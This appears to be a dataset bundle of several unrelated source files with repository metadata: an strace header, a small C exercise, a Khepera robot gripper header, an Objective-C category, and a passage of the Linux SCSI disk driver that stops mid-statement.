[ "BSD-3-Clause" ]
3
2017-05-05T06:46:55.000Z
2019-11-04T05:26:01.000Z
xlat/sigemt_codes.h
pixeldustproject-o/android_external_strace
0be31d963f5c76aa4fbf0a0d220a99fdd66a84ec
[ "BSD-3-Clause" ]
null
null
null
xlat/sigemt_codes.h
pixeldustproject-o/android_external_strace
0be31d963f5c76aa4fbf0a0d220a99fdd66a84ec
[ "BSD-3-Clause" ]
1
2017-02-28T13:18:18.000Z
2017-02-28T13:18:18.000Z
/* Generated by ./xlat/gen.sh from ./xlat/sigemt_codes.in; do not edit. */ #if !(defined(EMT_TAGOVF) || (defined(HAVE_DECL_EMT_TAGOVF) && HAVE_DECL_EMT_TAGOVF)) # define EMT_TAGOVF 1 #endif #ifdef IN_MPERS extern const struct xlat sigemt_codes[]; #else # if !(defined HAVE_M32_MPERS || defined HAVE_MX32_MPERS) static # endif const struct xlat sigemt_codes[] = { XLAT(EMT_TAGOVF), XLAT_END }; #endif /* !IN_MPERS */
20.142857
85
0.725768
3b530992764f3bac2c1e35543f1c00dcc27e90b3
201
c
C
Part_III/c12/ex1208.c
jteixeir/begC4D
2901cc9796ed87db3052890fafc585802c55324a
[ "MIT" ]
null
null
null
Part_III/c12/ex1208.c
jteixeir/begC4D
2901cc9796ed87db3052890fafc585802c55324a
[ "MIT" ]
null
null
null
Part_III/c12/ex1208.c
jteixeir/begC4D
2901cc9796ed87db3052890fafc585802c55324a
[ "MIT" ]
null
null
null
#include <stdio.h> int main() { char sentence [] = "Random text"; int index; index = 0; while(sentence[index] != '\0') { putchar(sentence[index]); index++; } putchar('\n'); return(0); }
11.823529
34
0.572139
b63204604c300c01620a4aeb2b05387412d2e73e
4,251
h
C
include/kb_gripper.h
Chukwuemeka-Ike/khepera
d7ddd1e3f93f5434e3d4129fa8a28ec215662f45
[ "MIT" ]
null
null
null
include/kb_gripper.h
Chukwuemeka-Ike/khepera
d7ddd1e3f93f5434e3d4129fa8a28ec215662f45
[ "MIT" ]
null
null
null
include/kb_gripper.h
Chukwuemeka-Ike/khepera
d7ddd1e3f93f5434e3d4129fa8a28ec215662f45
[ "MIT" ]
null
null
null
/*-------------------------------------------------------------------- * kb_gripper.h - KoreBot Library - Khepera3 Gripper functions *-------------------------------------------------------------------- * $Author: flambercy $ * $Date: 2010/02/05 * $Revision: 1.0 $ *-------------------------------------------------------------------*/ #ifndef __kgripper__ #define __kgripper__ #include "knet.h" /*-------------------------------------------------------------------- *! KoreMotor Order Mask (See knet_set_order) */ #define KGRIPPER_ORDER_MASK ( KNET_ORDER_LITTLE | \ KNET_ORDER_REP_ADR | KNET_ORDER_LSB_FIRST ) /*-------------------------------------------------------------------- *! Gripper Registers Definition *! Arm */ #define ARM_VERSION 0x30 #define ARM_POSITION 0x31 #define ARM_SPEED 0x33 #define ARM_CURRENT 0x34 #define ARM_ON_TARGET 0x36 #define ARM_VOLTAGE 0x37 #define ARM_CAPACITY 0x39 #define ARM_MAX_POSITION 0x3A #define ARM_MIN_POSITION 0x3C #define ARM_ORDER 0x3E #define ARM_MAX_SPEED 0x40 #define ARM_SEARCH_LIMIT 0x41 /*-------------------------------------------------------------------- *! Gripper Registers Definition *! Gripper */ #define GRIPPER_VERSION 0x30 #define GRIPPER_POSITION 0x31 #define GRIPPER_ORDER 0x32 #define GRIPPER_SPEED 0x33 #define GRIPPER_CURRENT 0x34 #define GRIPPER_TORQUE 0x36 #define GRIPPER_RESISTIVITY 0x38 #define GRIPPER_AMB_IR_LEFT 0x3A #define GRIPPER_AMB_IR_RIGHT 0x3C #define GRIPPER_DIST_IR_LEFT 0x3E #define GRIPPER_DIST_IR_RIGHT 0x40 #define GRIPPER_OPTICAL_BARR 0x42 #define GRIPPER_ON_TARGET 0x43 #define GRIPPER_SEARCH_LIMIT 0x44 #define GRIPPER_MAX_POSITION 0x45 /*-------------------------------------------------------------------- *! Prototypes Declaration */ extern int kgripper_init( void ); extern unsigned char kgripper_Arm_Get_Version( knet_dev_t * dev ); extern unsigned short kgripper_Arm_Get_Position( knet_dev_t * dev ); extern unsigned char kgripper_Arm_Get_Speed( knet_dev_t * dev ); extern unsigned short kgripper_Arm_Get_Current( knet_dev_t * dev ); extern unsigned char kgripper_Arm_OnTarget( knet_dev_t * dev ); extern unsigned short kgripper_Arm_Get_Voltage( knet_dev_t * dev ); extern unsigned char kgripper_Arm_Get_Capacity( knet_dev_t * dev ); extern void kgripper_Arm_Get_Limits( knet_dev_t * dev , unsigned short * Min_Position , unsigned short * Max_Position ); extern unsigned short kgripper_Arm_Get_Order( knet_dev_t * dev ); extern unsigned char kgripper_Arm_Get_Max_Speed( knet_dev_t * dev ); extern unsigned char kgripper_Arm_Get_Search_Limit( knet_dev_t * dev ); extern void kgripper_Arm_Set_Order( knet_dev_t * dev, unsigned short Order ); extern void kgripper_Arm_Set_Max_Speed( knet_dev_t * dev, unsigned char Max_Speed ); extern void kgripper_Arm_Set_Search_Limit( knet_dev_t * dev, unsigned char Search_Limit ); extern unsigned char kgripper_Gripper_Get_Version( knet_dev_t * dev ); extern unsigned char kgripper_Gripper_Get_Position( knet_dev_t * dev ); extern unsigned char kgripper_Gripper_Get_Order( knet_dev_t * dev ); extern unsigned char kgripper_Gripper_Get_Speed( knet_dev_t * dev ); extern unsigned short kgripper_Gripper_Get_Current( knet_dev_t * dev ); extern unsigned short kgripper_Gripper_Get_Torque( knet_dev_t * dev ); extern unsigned short kgripper_Gripper_Get_Resistivity( knet_dev_t * dev ); extern void kgripper_Gripper_Get_Ambiant_IR_Light( knet_dev_t * dev , unsigned short * Amb_IR_Left , unsigned short * Amb_IR_Right ); extern void kgripper_Gripper_Get_Distance_Sensors( knet_dev_t * dev , unsigned short * Dist_IR_Left , unsigned short * Dist_IR_Right ); extern unsigned char kgripper_Gripper_OnTarget( knet_dev_t * dev ); extern unsigned char kgripper_Gripper_Object_Detected( knet_dev_t * dev ); extern unsigned char kgripper_Gripper_Get_Search_Limit( knet_dev_t * dev ); extern unsigned char kgripper_Gripper_Get_Limits( knet_dev_t * dev ); extern void kgripper_Gripper_Set_Order( knet_dev_t * dev, unsigned char Order ); extern void kgripper_Gripper_Set_Torque( knet_dev_t * dev, unsigned short Torque ); extern void kgripper_GripperSet_Search_Limit( knet_dev_t * dev, unsigned char Search_Limit ); #endif /* __kgripper__ */
44.28125
135
0.707598
b3940d6ebbb73076ef14994bfe5fa50fc471c6bd
257
h
C
Classes/HKHelperKit/UITableView+HelperKit.h
tomkidd/latest-chatty-ios
2adabfa0d3a23ebb84e8054fe2e206b90b1acc1b
[ "MIT" ]
10
2015-01-15T07:28:55.000Z
2017-11-09T07:00:26.000Z
Classes/HKHelperKit/UITableView+HelperKit.h
tomkidd/latest-chatty-ios
2adabfa0d3a23ebb84e8054fe2e206b90b1acc1b
[ "MIT" ]
6
2015-11-12T03:31:45.000Z
2018-12-29T20:21:18.000Z
Classes/HKHelperKit/UITableView+HelperKit.h
tomkidd/latest-chatty-ios
2adabfa0d3a23ebb84e8054fe2e206b90b1acc1b
[ "MIT" ]
6
2015-04-04T16:06:44.000Z
2018-11-12T19:11:55.000Z
// // UITableViewController+HelperKit.h // HelperKit // // Created by Alex Wayne on 3/9/10. // Copyright 2010 Beautiful Pixel. All rights reserved. // #import <UIKit/UIKit.h> @interface UITableView (HelperKit) - (UITableViewCell*)selectedCell; @end
16.0625
56
0.715953
47bf2263700e87fc1b16df8d758d2e1e1b2a98cc
45,776
c
C
kernel/kernel/i386at/gpl/linux/scsi/sd.c
eyadhamdan4/xMach
38272d98114715a10e77c2c014e16c9782f7807c
[ "BSD-3-Clause" ]
32
2015-02-02T06:45:21.000Z
2022-01-24T05:30:29.000Z
kernel/kernel/i386at/gpl/linux/scsi/sd.c
eyadhamdan4/xMach
38272d98114715a10e77c2c014e16c9782f7807c
[ "BSD-3-Clause" ]
4
2015-02-28T20:56:54.000Z
2022-01-04T07:40:17.000Z
kernel/kernel/i386at/gpl/linux/scsi/sd.c
eyadhamdan4/xMach
38272d98114715a10e77c2c014e16c9782f7807c
[ "BSD-3-Clause" ]
8
2015-02-15T11:32:02.000Z
2021-06-08T00:55:06.000Z
/* * sd.c Copyright (C) 1992 Drew Eckhardt * Copyright (C) 1993, 1994, 1995 Eric Youngdale * * Linux scsi disk driver * Initial versions: Drew Eckhardt * Subsequent revisions: Eric Youngdale * * <drew@colorado.edu> * * Modified by Eric Youngdale ericy@cais.com to * add scatter-gather, multiple outstanding request, and other * enhancements. * * Modified by Eric Youngdale eric@aib.com to support loadable * low-level scsi drivers. */ #include <linux/module.h> #ifdef MODULE /* * This is a variable in scsi.c that is set when we are processing something * after boot time. By definition, this is true when we are a loadable module * ourselves. */ #define MODULE_FLAG 1 #else #define MODULE_FLAG scsi_loadable_module_flag #endif /* MODULE */ #include <linux/fs.h> #include <linux/kernel.h> #include <linux/sched.h> #include <linux/mm.h> #include <linux/string.h> #include <linux/errno.h> #include <asm/system.h> #define MAJOR_NR SCSI_DISK_MAJOR #include <linux/blk.h> #include "scsi.h" #include "hosts.h" #include "sd.h" #include "scsi_ioctl.h" #include "constants.h" #include <linux/genhd.h> /* * static const char RCSid[] = "$Header:"; */ #define MAX_RETRIES 5 /* * Time out in seconds for disks and Magneto-opticals (which are slower). */ #define SD_TIMEOUT (7 * HZ) #define SD_MOD_TIMEOUT (8 * HZ) #define CLUSTERABLE_DEVICE(SC) (SC->host->use_clustering && \ SC->device->type != TYPE_MOD) struct hd_struct * sd; Scsi_Disk * rscsi_disks = NULL; static int * sd_sizes; static int * sd_blocksizes; static int * sd_hardsizes; /* Hardware sector size */ extern int sd_ioctl(struct inode *, struct file *, unsigned int, unsigned long); static int check_scsidisk_media_change(kdev_t); static int fop_revalidate_scsidisk(kdev_t); static sd_init_onedisk(int); static void requeue_sd_request (Scsi_Cmnd * SCpnt); static int sd_init(void); static void sd_finish(void); static int sd_attach(Scsi_Device *); static int sd_detect(Scsi_Device *); static void sd_detach(Scsi_Device *); struct Scsi_Device_Template sd_template = { NULL, "disk", "sd", NULL, TYPE_DISK, SCSI_DISK_MAJOR, 0, 0, 0, 1, sd_detect, sd_init, sd_finish, sd_attach, sd_detach }; static int sd_open(struct inode * inode, struct file * filp) { int target; target = DEVICE_NR(inode->i_rdev); if(target >= sd_template.dev_max || !rscsi_disks[target].device) return -ENXIO; /* No such device */ /* * Make sure that only one process can do a check_change_disk at one time. * This is also used to lock out further access when the partition table * is being re-read. */ while (rscsi_disks[target].device->busy) barrier(); if(rscsi_disks[target].device->removable) { check_disk_change(inode->i_rdev); /* * If the drive is empty, just let the open fail. */ if ( !rscsi_disks[target].ready ) { return -ENXIO; } /* * Similarily, if the device has the write protect tab set, * have the open fail if the user expects to be able to write * to the thing. */ if ( (rscsi_disks[target].write_prot) && (filp->f_mode & 2) ) { return -EROFS; } if(!rscsi_disks[target].device->access_count) sd_ioctl(inode, NULL, SCSI_IOCTL_DOORLOCK, 0); }; /* * See if we are requesting a non-existent partition. Do this * after checking for disk change. */ if(sd_sizes[MINOR(inode->i_rdev)] == 0) return -ENXIO; rscsi_disks[target].device->access_count++; if (rscsi_disks[target].device->host->hostt->usage_count) (*rscsi_disks[target].device->host->hostt->usage_count)++; if(sd_template.usage_count) (*sd_template.usage_count)++; return 0; } static void sd_release(struct inode * inode, struct file * file) { int target; sync_dev(inode->i_rdev); target = DEVICE_NR(inode->i_rdev); rscsi_disks[target].device->access_count--; if (rscsi_disks[target].device->host->hostt->usage_count) (*rscsi_disks[target].device->host->hostt->usage_count)--; if(sd_template.usage_count) (*sd_template.usage_count)--; if(rscsi_disks[target].device->removable) { if(!rscsi_disks[target].device->access_count) sd_ioctl(inode, NULL, SCSI_IOCTL_DOORUNLOCK, 0); } } static void sd_geninit(struct gendisk *); static struct file_operations sd_fops = { NULL, /* lseek - default */ block_read, /* read - general block-dev read */ block_write, /* write - general block-dev write */ NULL, /* readdir - bad */ NULL, /* select */ sd_ioctl, /* ioctl */ NULL, /* mmap */ sd_open, /* open code */ sd_release, /* release */ block_fsync, /* fsync */ NULL, /* fasync */ check_scsidisk_media_change, /* Disk change */ fop_revalidate_scsidisk /* revalidate */ }; static struct gendisk sd_gendisk = { MAJOR_NR, /* Major number */ "sd", /* Major name */ 4, /* Bits to shift to get real from partition */ 1 << 4, /* Number of partitions per real */ 0, /* maximum number of real */ sd_geninit, /* init function */ NULL, /* hd struct */ NULL, /* block sizes */ 0, /* number */ NULL, /* internal */ NULL /* next */ }; static void sd_geninit (struct gendisk *ignored) { int i; for (i = 0; i < sd_template.dev_max; ++i) if(rscsi_disks[i].device) sd[i << 4].nr_sects = rscsi_disks[i].capacity; #if 0 /* No longer needed - we keep track of this as we attach/detach */ sd_gendisk.nr_real = sd_template.dev_max; #endif } /* * rw_intr is the interrupt routine for the device driver. It will * be notified on the end of a SCSI read / write, and * will take on of several actions based on success or failure. */ static void rw_intr (Scsi_Cmnd *SCpnt) { int result = SCpnt->result; int this_count = SCpnt->bufflen >> 9; #ifdef DEBUG printk("sd%c : rw_intr(%d, %d)\n", 'a' + MINOR(SCpnt->request.rq_dev), SCpnt->host->host_no, result); #endif /* * First case : we assume that the command succeeded. One of two things * will happen here. Either we will be finished, or there will be more * sectors that we were unable to read last time. */ if (!result) { #ifdef DEBUG printk("sd%c : %d sectors remain.\n", 'a' + MINOR(SCpnt->request.rq_dev), SCpnt->request.nr_sectors); printk("use_sg is %d\n ",SCpnt->use_sg); #endif if (SCpnt->use_sg) { struct scatterlist * sgpnt; int i; sgpnt = (struct scatterlist *) SCpnt->buffer; for(i=0; i<SCpnt->use_sg; i++) { #ifdef DEBUG printk(":%x %x %d\n",sgpnt[i].alt_address, sgpnt[i].address, sgpnt[i].length); #endif if (sgpnt[i].alt_address) { if (SCpnt->request.cmd == READ) memcpy(sgpnt[i].alt_address, sgpnt[i].address, sgpnt[i].length); scsi_free(sgpnt[i].address, sgpnt[i].length); }; }; /* Free list of scatter-gather pointers */ scsi_free(SCpnt->buffer, SCpnt->sglist_len); } else { if (SCpnt->buffer != SCpnt->request.buffer) { #ifdef DEBUG printk("nosg: %x %x %d\n",SCpnt->request.buffer, SCpnt->buffer, SCpnt->bufflen); #endif if (SCpnt->request.cmd == READ) memcpy(SCpnt->request.buffer, SCpnt->buffer, SCpnt->bufflen); scsi_free(SCpnt->buffer, SCpnt->bufflen); }; }; /* * If multiple sectors are requested in one buffer, then * they will have been finished off by the first command. * If not, then we have a multi-buffer command. */ if (SCpnt->request.nr_sectors > this_count) { SCpnt->request.errors = 0; if (!SCpnt->request.bh) { #ifdef DEBUG printk("sd%c : handling page request, no buffer\n", 'a' + MINOR(SCpnt->request.rq_dev)); #endif /* * The SCpnt->request.nr_sectors field is always done in * 512 byte sectors, even if this really isn't the case. */ panic("sd.c: linked page request (%lx %x)", SCpnt->request.sector, this_count); } } SCpnt = end_scsi_request(SCpnt, 1, this_count); requeue_sd_request(SCpnt); return; } /* Free up any indirection buffers we allocated for DMA purposes. */ if (SCpnt->use_sg) { struct scatterlist * sgpnt; int i; sgpnt = (struct scatterlist *) SCpnt->buffer; for(i=0; i<SCpnt->use_sg; i++) { #ifdef DEBUG printk("err: %x %x %d\n",SCpnt->request.buffer, SCpnt->buffer, SCpnt->bufflen); #endif if (sgpnt[i].alt_address) { scsi_free(sgpnt[i].address, sgpnt[i].length); }; }; scsi_free(SCpnt->buffer, SCpnt->sglist_len); /* Free list of scatter-gather pointers */ } else { #ifdef DEBUG printk("nosgerr: %x %x %d\n",SCpnt->request.buffer, SCpnt->buffer, SCpnt->bufflen); #endif if (SCpnt->buffer != SCpnt->request.buffer) scsi_free(SCpnt->buffer, SCpnt->bufflen); }; /* * Now, if we were good little boys and girls, Santa left us a request * sense buffer. We can extract information from this, so we * can choose a block to remap, etc. */ if (driver_byte(result) != 0) { if (suggestion(result) == SUGGEST_REMAP) { #ifdef REMAP /* * Not yet implemented. A read will fail after being remapped, * a write will call the strategy routine again. */ if rscsi_disks[DEVICE_NR(SCpnt->request.rq_dev)].remap { result = 0; } else #endif } if ((SCpnt->sense_buffer[0] & 0x7f) == 0x70) { if ((SCpnt->sense_buffer[2] & 0xf) == UNIT_ATTENTION) { if(rscsi_disks[DEVICE_NR(SCpnt->request.rq_dev)].device->removable) { /* detected disc change. set a bit and quietly refuse * further access. */ rscsi_disks[DEVICE_NR(SCpnt->request.rq_dev)].device->changed = 1; SCpnt = end_scsi_request(SCpnt, 0, this_count); requeue_sd_request(SCpnt); return; } else { /* * Must have been a power glitch, or a bus reset. * Could not have been a media change, so we just retry * the request and see what happens. */ requeue_sd_request(SCpnt); return; } } } /* If we had an ILLEGAL REQUEST returned, then we may have * performed an unsupported command. The only thing this should be * would be a ten byte read where only a six byte read was supported. * Also, on a system where READ CAPACITY failed, we have have read * past the end of the disk. */ if (SCpnt->sense_buffer[2] == ILLEGAL_REQUEST) { if (rscsi_disks[DEVICE_NR(SCpnt->request.rq_dev)].ten) { rscsi_disks[DEVICE_NR(SCpnt->request.rq_dev)].ten = 0; requeue_sd_request(SCpnt); result = 0; } else { /* ???? */ } } } /* driver byte != 0 */ if (result) { printk("SCSI disk error : host %d channel %d id %d lun %d return code = %x\n", rscsi_disks[DEVICE_NR(SCpnt->request.rq_dev)].device->host->host_no, rscsi_disks[DEVICE_NR(SCpnt->request.rq_dev)].device->channel, rscsi_disks[DEVICE_NR(SCpnt->request.rq_dev)].device->id, rscsi_disks[DEVICE_NR(SCpnt->request.rq_dev)].device->lun, result); if (driver_byte(result) & DRIVER_SENSE) print_sense("sd", SCpnt); SCpnt = end_scsi_request(SCpnt, 0, SCpnt->request.current_nr_sectors); requeue_sd_request(SCpnt); return; } } /* * requeue_sd_request() is the request handler function for the sd driver. * Its function in life is to take block device requests, and translate * them to SCSI commands. */ static void do_sd_request (void) { Scsi_Cmnd * SCpnt = NULL; Scsi_Device * SDev; struct request * req = NULL; unsigned long flags; int flag = 0; save_flags(flags); while (1==1){ cli(); if (CURRENT != NULL && CURRENT->rq_status == RQ_INACTIVE) { restore_flags(flags); return; }; INIT_SCSI_REQUEST; SDev = rscsi_disks[DEVICE_NR(CURRENT->rq_dev)].device; /* * I am not sure where the best place to do this is. We need * to hook in a place where we are likely to come if in user * space. */ if( SDev->was_reset ) { /* * We need to relock the door, but we might * be in an interrupt handler. Only do this * from user space, since we do not want to * sleep from an interrupt. */ if( SDev->removable && !intr_count ) { scsi_ioctl(SDev, SCSI_IOCTL_DOORLOCK, 0); } SDev->was_reset = 0; } /* We have to be careful here. allocate_device will get a free pointer, * but there is no guarantee that it is queueable. In normal usage, * we want to call this, because other types of devices may have the * host all tied up, and we want to make sure that we have at least * one request pending for this type of device. We can also come * through here while servicing an interrupt, because of the need to * start another command. If we call allocate_device more than once, * then the system can wedge if the command is not queueable. The * request_queueable function is safe because it checks to make sure * that the host is able to take another command before it returns * a pointer. */ if (flag++ == 0) SCpnt = allocate_device(&CURRENT, rscsi_disks[DEVICE_NR(CURRENT->rq_dev)].device, 0); else SCpnt = NULL; /* * The following restore_flags leads to latency problems. FIXME. * Using a "sti()" gets rid of the latency problems but causes * race conditions and crashes. */ restore_flags(flags); /* This is a performance enhancement. We dig down into the request * list and try and find a queueable request (i.e. device not busy, * and host able to accept another command. If we find one, then we * queue it. This can make a big difference on systems with more than * one disk drive. We want to have the interrupts off when monkeying * with the request list, because otherwise the kernel might try and * slip in a request in between somewhere. */ if (!SCpnt && sd_template.nr_dev > 1){ struct request *req1; req1 = NULL; cli(); req = CURRENT; while(req){ SCpnt = request_queueable(req, rscsi_disks[DEVICE_NR(req->rq_dev)].device); if(SCpnt) break; req1 = req; req = req->next; }; if (SCpnt && req->rq_status == RQ_INACTIVE) { if (req == CURRENT) CURRENT = CURRENT->next; else req1->next = req->next; }; restore_flags(flags); }; if (!SCpnt) return; /* Could not find anything to do */ /* Queue command */ requeue_sd_request(SCpnt); }; /* While */ } static void requeue_sd_request (Scsi_Cmnd * SCpnt) { int dev, devm, block, this_count; unsigned char cmd[10]; int bounce_size, contiguous; int max_sg; struct buffer_head * bh, *bhp; char * buff, *bounce_buffer; repeat: if(!SCpnt || SCpnt->request.rq_status == RQ_INACTIVE) { do_sd_request(); return; } devm = MINOR(SCpnt->request.rq_dev); dev = DEVICE_NR(SCpnt->request.rq_dev); block = SCpnt->request.sector; this_count = 0; #ifdef DEBUG printk("Doing sd request, dev = %d, block = %d\n", devm, block); #endif if (devm >= (sd_template.dev_max << 4) || !rscsi_disks[dev].device || block + SCpnt->request.nr_sectors > sd[devm].nr_sects) { SCpnt = end_scsi_request(SCpnt, 0, SCpnt->request.nr_sectors); goto repeat; } block += sd[devm].start_sect; if (rscsi_disks[dev].device->changed) { /* * quietly refuse to do anything to a changed disc until the changed * bit has been reset */ /* printk("SCSI disk has been changed. Prohibiting further I/O.\n"); */ SCpnt = end_scsi_request(SCpnt, 0, SCpnt->request.nr_sectors); goto repeat; } #ifdef DEBUG printk("sd%c : real dev = /dev/sd%c, block = %d\n", 'a' + devm, dev, block); #endif /* * If we have a 1K hardware sectorsize, prevent access to single * 512 byte sectors. In theory we could handle this - in fact * the scsi cdrom driver must be able to handle this because * we typically use 1K blocksizes, and cdroms typically have * 2K hardware sectorsizes. Of course, things are simpler * with the cdrom, since it is read-only. For performance * reasons, the filesystems should be able to handle this * and not force the scsi disk driver to use bounce buffers * for this. */ if (rscsi_disks[dev].sector_size == 1024) if((block & 1) || (SCpnt->request.nr_sectors & 1)) { printk("sd.c:Bad block number requested"); SCpnt = end_scsi_request(SCpnt, 0, SCpnt->request.nr_sectors); goto repeat; } switch (SCpnt->request.cmd) { case WRITE : if (!rscsi_disks[dev].device->writeable) { SCpnt = end_scsi_request(SCpnt, 0, SCpnt->request.nr_sectors); goto repeat; } cmd[0] = WRITE_6; break; case READ : cmd[0] = READ_6; break; default : panic ("Unknown sd command %d\n", SCpnt->request.cmd); } SCpnt->this_count = 0; /* If the host adapter can deal with very large scatter-gather * requests, it is a waste of time to cluster */ contiguous = (!CLUSTERABLE_DEVICE(SCpnt) ? 0 :1); bounce_buffer = NULL; bounce_size = (SCpnt->request.nr_sectors << 9); /* First see if we need a bounce buffer for this request. If we do, make * sure that we can allocate a buffer. Do not waste space by allocating * a bounce buffer if we are straddling the 16Mb line */ if (contiguous && SCpnt->request.bh && ((long) SCpnt->request.bh->b_data) + (SCpnt->request.nr_sectors << 9) - 1 > ISA_DMA_THRESHOLD && SCpnt->host->unchecked_isa_dma) { if(((long) SCpnt->request.bh->b_data) > ISA_DMA_THRESHOLD) bounce_buffer = (char *) scsi_malloc(bounce_size); if(!bounce_buffer) contiguous = 0; }; if(contiguous && SCpnt->request.bh && SCpnt->request.bh->b_reqnext) for(bh = SCpnt->request.bh, bhp = bh->b_reqnext; bhp; bh = bhp, bhp = bhp->b_reqnext) { if(!CONTIGUOUS_BUFFERS(bh,bhp)) { if(bounce_buffer) scsi_free(bounce_buffer, bounce_size); contiguous = 0; break; } }; if (!SCpnt->request.bh || contiguous) { /* case of page request (i.e. raw device), or unlinked buffer */ this_count = SCpnt->request.nr_sectors; buff = SCpnt->request.buffer; SCpnt->use_sg = 0; } else if (SCpnt->host->sg_tablesize == 0 || (need_isa_buffer && dma_free_sectors <= 10)) { /* Case of host adapter that cannot scatter-gather. We also * come here if we are running low on DMA buffer memory. We set * a threshold higher than that we would need for this request so * we leave room for other requests. Even though we would not need * it all, we need to be conservative, because if we run low enough * we have no choice but to panic. */ if (SCpnt->host->sg_tablesize != 0 && need_isa_buffer && dma_free_sectors <= 10) printk("Warning: SCSI DMA buffer space running low. Using non scatter-gather I/O.\n"); this_count = SCpnt->request.current_nr_sectors; buff = SCpnt->request.buffer; SCpnt->use_sg = 0; } else { /* Scatter-gather capable host adapter */ struct scatterlist * sgpnt; int count, this_count_max; int counted; bh = SCpnt->request.bh; this_count = 0; this_count_max = (rscsi_disks[dev].ten ? 0xffff : 0xff); count = 0; bhp = NULL; while(bh) { if ((this_count + (bh->b_size >> 9)) > this_count_max) break; if(!bhp || !CONTIGUOUS_BUFFERS(bhp,bh) || !CLUSTERABLE_DEVICE(SCpnt) || (SCpnt->host->unchecked_isa_dma && ((unsigned long) bh->b_data-1) == ISA_DMA_THRESHOLD)) { if (count < SCpnt->host->sg_tablesize) count++; else break; }; this_count += (bh->b_size >> 9); bhp = bh; bh = bh->b_reqnext; }; #if 0 if(SCpnt->host->unchecked_isa_dma && ((unsigned int) SCpnt->request.bh->b_data-1) == ISA_DMA_THRESHOLD) count--; #endif SCpnt->use_sg = count; /* Number of chains */ count = 512;/* scsi_malloc can only allocate in chunks of 512 bytes */ while( count < (SCpnt->use_sg * sizeof(struct scatterlist))) count = count << 1; SCpnt->sglist_len = count; max_sg = count / sizeof(struct scatterlist); if(SCpnt->host->sg_tablesize < max_sg) max_sg = SCpnt->host->sg_tablesize; sgpnt = (struct scatterlist * ) scsi_malloc(count); if (!sgpnt) { printk("Warning - running *really* short on DMA buffers\n"); SCpnt->use_sg = 0; /* No memory left - bail out */ this_count = SCpnt->request.current_nr_sectors; buff = SCpnt->request.buffer; } else { memset(sgpnt, 0, count); /* Zero so it is easy to fill, but only * if memory is available */ buff = (char *) sgpnt; counted = 0; for(count = 0, bh = SCpnt->request.bh, bhp = bh->b_reqnext; count < SCpnt->use_sg && bh; count++, bh = bhp) { bhp = bh->b_reqnext; if(!sgpnt[count].address) sgpnt[count].address = bh->b_data; sgpnt[count].length += bh->b_size; counted += bh->b_size >> 9; if (((long) sgpnt[count].address) + sgpnt[count].length - 1 > ISA_DMA_THRESHOLD && (SCpnt->host->unchecked_isa_dma) && !sgpnt[count].alt_address) { sgpnt[count].alt_address = sgpnt[count].address; /* We try and avoid exhausting the DMA pool, since it is * easier to control usage here. In other places we might * have a more pressing need, and we would be screwed if * we ran out */ if(dma_free_sectors < (sgpnt[count].length >> 9) + 10) { sgpnt[count].address = NULL; } else { sgpnt[count].address = (char *) scsi_malloc(sgpnt[count].length); }; /* If we start running low on DMA buffers, we abort the * scatter-gather operation, and free all of the memory * we have allocated. We want to ensure that all scsi * operations are able to do at least a non-scatter/gather * operation */ if(sgpnt[count].address == NULL){ /* Out of dma memory */ #if 0 printk("Warning: Running low on SCSI DMA buffers"); /* Try switching back to a non s-g operation. */ while(--count >= 0){ if(sgpnt[count].alt_address) scsi_free(sgpnt[count].address, sgpnt[count].length); }; this_count = SCpnt->request.current_nr_sectors; buff = SCpnt->request.buffer; SCpnt->use_sg = 0; scsi_free(sgpnt, SCpnt->sglist_len); #endif SCpnt->use_sg = count; this_count = counted -= bh->b_size >> 9; break; }; }; /* Only cluster buffers if we know that we can supply DMA * buffers large enough to satisfy the request. Do not cluster * a new request if this would mean that we suddenly need to * start using DMA bounce buffers */ if(bhp && CONTIGUOUS_BUFFERS(bh,bhp) && CLUSTERABLE_DEVICE(SCpnt)) { char * tmp; if (((long) sgpnt[count].address) + sgpnt[count].length + bhp->b_size - 1 > ISA_DMA_THRESHOLD && (SCpnt->host->unchecked_isa_dma) && !sgpnt[count].alt_address) continue; if(!sgpnt[count].alt_address) {count--; continue; } if(dma_free_sectors > 10) tmp = (char *) scsi_malloc(sgpnt[count].length + bhp->b_size); else { tmp = NULL; max_sg = SCpnt->use_sg; }; if(tmp){ scsi_free(sgpnt[count].address, sgpnt[count].length); sgpnt[count].address = tmp; count--; continue; }; /* If we are allowed another sg chain, then increment * counter so we can insert it. Otherwise we will end up truncating */ if (SCpnt->use_sg < max_sg) SCpnt->use_sg++; }; /* contiguous buffers */ }; /* for loop */ /* This is actually how many we are going to transfer */ this_count = counted; if(count < SCpnt->use_sg || SCpnt->use_sg > SCpnt->host->sg_tablesize){ bh = SCpnt->request.bh; printk("Use sg, count %d %x %d\n", SCpnt->use_sg, count, dma_free_sectors); printk("maxsg = %x, counted = %d this_count = %d\n", max_sg, counted, this_count); while(bh){ printk("[%p %lx] ", bh->b_data, bh->b_size); bh = bh->b_reqnext; }; if(SCpnt->use_sg < 16) for(count=0; count<SCpnt->use_sg; count++) printk("{%d:%p %p %d} ", count, sgpnt[count].address, sgpnt[count].alt_address, sgpnt[count].length); panic("Ooops"); }; if (SCpnt->request.cmd == WRITE) for(count=0; count<SCpnt->use_sg; count++) if(sgpnt[count].alt_address) memcpy(sgpnt[count].address, sgpnt[count].alt_address, sgpnt[count].length); }; /* Able to malloc sgpnt */ }; /* Host adapter capable of scatter-gather */ /* Now handle the possibility of DMA to addresses > 16Mb */ if(SCpnt->use_sg == 0){ if (((long) buff) + (this_count << 9) - 1 > ISA_DMA_THRESHOLD && (SCpnt->host->unchecked_isa_dma)) { if(bounce_buffer) buff = bounce_buffer; else buff = (char *) scsi_malloc(this_count << 9); if(buff == NULL) { /* Try backing off a bit if we are low on mem*/ this_count = SCpnt->request.current_nr_sectors; buff = (char *) scsi_malloc(this_count << 9); if(!buff) panic("Ran out of DMA buffers."); }; if (SCpnt->request.cmd == WRITE) memcpy(buff, (char *)SCpnt->request.buffer, this_count << 9); }; }; #ifdef DEBUG printk("sd%c : %s %d/%d 512 byte blocks.\n", 'a' + devm, (SCpnt->request.cmd == WRITE) ? "writing" : "reading", this_count, SCpnt->request.nr_sectors); #endif cmd[1] = (SCpnt->lun << 5) & 0xe0; if (rscsi_disks[dev].sector_size == 1024){ if(block & 1) panic("sd.c:Bad block number requested"); if(this_count & 1) panic("sd.c:Bad block number requested"); block = block >> 1; this_count = this_count >> 1; }; if (rscsi_disks[dev].sector_size == 256){ block = block << 1; this_count = this_count << 1; }; if (((this_count > 0xff) || (block > 0x1fffff)) && rscsi_disks[dev].ten) { if (this_count > 0xffff) this_count = 0xffff; cmd[0] += READ_10 - READ_6 ; cmd[2] = (unsigned char) (block >> 